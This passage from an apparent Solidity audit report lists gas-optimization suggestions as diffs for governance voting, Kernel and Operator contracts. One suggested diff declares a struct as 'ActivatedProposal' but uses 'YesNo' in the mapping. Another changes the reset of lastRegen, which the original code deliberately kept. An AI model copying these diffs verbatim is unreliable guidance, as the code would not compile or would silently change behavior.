
        if (activeProposal.proposalId == 0) {
            revert NoActiveProposalDetected();
        }

        if (userVotesForProposal[activeProposal.proposalId][msg.sender] > 0) {
            revert UserAlreadyVoted();
        }

+       uint256 userVotes = VOTES.balanceOf(msg.sender);
        if (for_) {
            yesVotesForProposal[activeProposal.proposalId] += userVotes;
        } else {
            noVotesForProposal[activeProposal.proposalId] += userVotes;
        }

        userVotesForProposal[activeProposal.proposalId][msg.sender] = userVotes;

        VOTES.transferFrom(msg.sender, address(this), userVotes);

        emit WalletVoted(activeProposal.proposalId, msg.sender, for_, userVotes);
    }

Affected source code:

• Governance.sol:241

18. Optimze Governance storage

It is possible to save all duplicate keys between yesVotesForProposal and noVotesForProposal if they both share the same key and use a structure as a value.

Recommended change:

+ struct ActivatedProposal {
+     uint256 yes;
+     uint256 no;
+ }

+   /// @notice Return the total of votes for a proposal id used in calculating net votes.
+   mapping(uint256 => YesNo) public votesForProposal;
-   /// @notice Return the total yes votes for a proposal id used in calculating net votes.
-   mapping(uint256 => uint256) public yesVotesForProposal;

-   /// @notice Return the total no votes for a proposal id used in calculating net votes.
-   mapping(uint256 => uint256) public noVotesForProposal;

Affected source code:

• Governance.sol:111

19. delete optimization

Use delete instead of set to default value (false or 0).

5 gas could be saved per entry in the following affected lines:

Affected source code:

• Kernel.sol:455

Total gas saved: 5 * 1 = 5

20. Optimize Operator.bondPurchase

It's possible to optimize the following method using an else instruction:

    function bondPurchase(uint256 id_, uint256 amountOut_)
        external
        onlyWhileActive
        onlyRole("operator_reporter")
    {
        if (id_ == RANGE.market(true)) {
            _updateCapacity(true, amountOut_);
            _checkCushion(true);
        }
+       else if (id_ == RANGE.market(false)) {
-       if (id_ == RANGE.market(false)) {
            _updateCapacity(false, amountOut_);
            _checkCushion(false);
        }
    }

Affected source code:

• Operator.sol:346-359

21. Optimize Operator refactoring some methods

It is possible to remove the bool high_ argument and the required conditionals in the following methods. It's best to create two methods, one for high and one for low to reduce push arguments and conditional checking, because all the logic is different.

Affected source code:

• _activate in Operator.sol:363
• _regenerate in Operator.sol:699

22. Optimize Operator.setRegenParams and Operator._regenerate

It is possible to avoid repeated accesses to storage as well as possible human errors such as those posted in the issues about the lastRegen field if instead of manually resetting each field in the struct, the entire struct is reset. This will save a considerable amount of gas and reduce human error.

    function setRegenParams(
        uint32 wait_,
        uint32 threshold_,
        uint32 observe_
    ) external onlyRole("operator_policy") {
        /// Confirm regen parameters are within allowed values
        if (wait_ < 1 hours || threshold_ > observe_ || observe_ == 0)
            revert Operator_InvalidParams();

        /// Set regen params
        _config.regenWait = wait_;
        _config.regenThreshold = threshold_;
        _config.regenObserve = observe_;

-       /// Re-initialize regen structs with new values (except for last regen)
+       /// Re-initialize regen structs with new values
+       Regen memory empty = Regen({
+           count: uint32(0),
+           lastRegen: uint48(block.timestamp),
+           nextObservation: uint32(0),
+           observations: new bool[](observe_)
+       });
+       _status.high = empty;
-       _status.high.count = 0;
-       _status.high.nextObservation = 0;
-       _status.high.observations = new bool[](observe_);

+       _status.low = empty;
-       _status.low.count = 0;
-       _status.low.nextObservation = 0;
-       _status.low.observations = new bool[](observe_);

        emit RegenParamsChanged(wait_, threshold_, observe_);
    }
    
    ...

    function _regenerate(bool high_) internal {
        /// Deactivate cushion if active on the side being regenerated
        _deactivate(high_);

+       Regen memory empty = Regen({
+           count: uint32(0),
+           lastRegen: uint48(block.timestamp),
+           nextObservation: uint32(0),
+           observations: new bool[](_config.regenObserve)
+       });

        if (high_) {

            /// Reset the regeneration data for the side
+           _status.high = empty;
-           _status.high.count = uint32(0);
-           _status.high.observations = new bool[](_config.regenObserve);
-           _status.high.nextObservation = uint32(0);
-           _status.high.lastRegen = uint48(block.timestamp);

            /// Calculate capacity
            uint256 capacity = fullCapacity(true);

            /// Regenerate the side with the capacity
            RANGE.regenerate(true, capacity);
        } else {
            /// Reset the regeneration data for the side
+           _status.low = empty;
-           _status.low.count = uint32(0);
-           _status.low.observations = new bool[](_config.regenObserve);
-           _status.low.nextObservation = uint32(0);
-           _status.low.lastRegen = uint48(block.timestamp);

            /// Calculate capacity
            uint256 capacity = fullCapacity(false);

            /// Regenerate the side with the capacity
            RANGE.regenerate(false, capacity);
        }
    }

Affected source code:

• Operator.sol:574-580
• Operator.sol:705-720